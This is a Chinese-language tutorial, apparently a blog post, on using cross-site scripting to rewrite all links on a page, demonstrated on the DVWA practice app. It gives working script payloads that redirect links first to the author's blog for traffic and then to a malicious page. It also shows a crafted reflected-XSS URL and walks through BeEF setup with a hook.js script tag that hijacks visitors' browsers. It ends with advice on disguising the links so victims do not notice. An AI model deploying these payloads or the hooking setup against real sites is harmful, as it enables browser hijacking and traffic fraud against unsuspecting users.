目录
一、XSS篡改链接
<script>
window.onload=function(){
var link=document.getElementsByTagName("a");
for(i=0;i<link.length;i++){
link[i].href="http://Chen_Ddbaoke.com/";}
}
</script>
来看这段javascript代码
首先window.onload-在网页加载的时候执行
document.getElementsByTagName("a")
获取所有的<a>标记的内容(也就是链接标记)
循环遍历,设置所有的链接为Chen_D的博客(篡改网页链接)
这样所有的链接都会指向Chen_D的博客,以达到刷访问量的作用
二、篡改实战
打开dvwa
看到这些链接了嘛,我们要做的就是通过XSS把这些链接都链接到我们的博客上,我们构建payload
<script>
window.onload=function(){
var link=document.getElementsByTagName("a");
for(i=0;i<link.length;i++){
link[i].href="https://blog.csdn.net/qq_40345591/article/details/127226910?spm=1001.2014.3001.5501";}
}
</script>
我们直接输入到输入框中提交
看到这些链接的真实地址已经变成了我们上一篇文章,我们点击任意一个
直接跳转进来啦,这就成功啦
但是正常环境中我们不能在输入框中输入,我们要构造一个url,那也简单
http://127.0.0.1:8090/dvwa/vulnerabilities/xss_r/?name=
<script>
window.onload=function(){
var link=document.getElementsByTagName("a");
for(i=0;i<link.length;i%2B%2B){
link[i].href="https://blog.csdn.net/qq_40345591/article/details/127226910?spm=1001.2014.3001.5501";}
}
</script>#
唯一要注意的就是把+换成%2B,刚才没换,直接死循环给我卡死了,换成%2B就欧克啦
点击任意一个链接都能进入我们的博客
当然篡改链接不一定都是指向这种无害的只是为了流量的网站,篡改链接更有可能指向一些恶意代码组成的恶意网页
三、 篡改链接指向恶意URL
beef生成恶意链接
打开kali,输入beef-xss
如果没安装beef直接运行下面指令
apt-get update
apt-get install beef-xss
需要保证kali是可以连上外网,并且换过镜像源的
拿到以下信息
第一次使用beef-xss的同学,在运行时会让你设置一个密码,这是用来进入后台的
cat /etc/beef-xss/config.yaml
如果忘了这条指令可以查看账号和密码,默认账号是beef
这个时候我们要构造一个网页上传这个脚本,用户在访问的时候就被劫持了
创建恶意网页
接下来我们start 一个apache 服务
先瞅一眼ip
leafpad index.html
没装按提示安装就行
打开之后在里面加入一行
<script src="http://<IP>:3000/hook.js"></script>
具体IP是刚才查到的ip
我这里是
<script src="http://172.20.10.5:3000/hook.js"></script>
插入进去就行啦,这样我们的恶意网页就做好了
我们可以直接访问一下
http://172.20.10.5/index.html
只要一访问就中招了,因为这个网页里面我们加了beef的恶意代码
直接去beef里看看
看到没,我们的主机已经被劫持了,beef的功能很多,劫持之后操作空间非常大,后面会专门更新beef的操作这里就不赘述了
篡改链接指向恶意网页
现在是我们直接访问这个恶意网页被劫持了,我们这一章写的是XSS篡改链接啊,所以下一步就是篡改链接指向我们的恶意网站
<script>
window.onload=function(){
var link=document.getElementsByTagName("a");
for(i=0;i<link.length;i++){
link[i].href="http://172.20.10.5/index.html";}
}
</script>
这里就不写成链接的形式啦,直接在输入框里输入就行
提交后,随便点一个链接都会直接进到我们的恶意网页里
成功被劫持了
四、总结
这章的实验看上去很容易被发现吧,那要是把链接伪造成正常连接的样子呢,再把网页伪造一下,或者就进一下就给你重定向回来等等,是不是就很难发现啦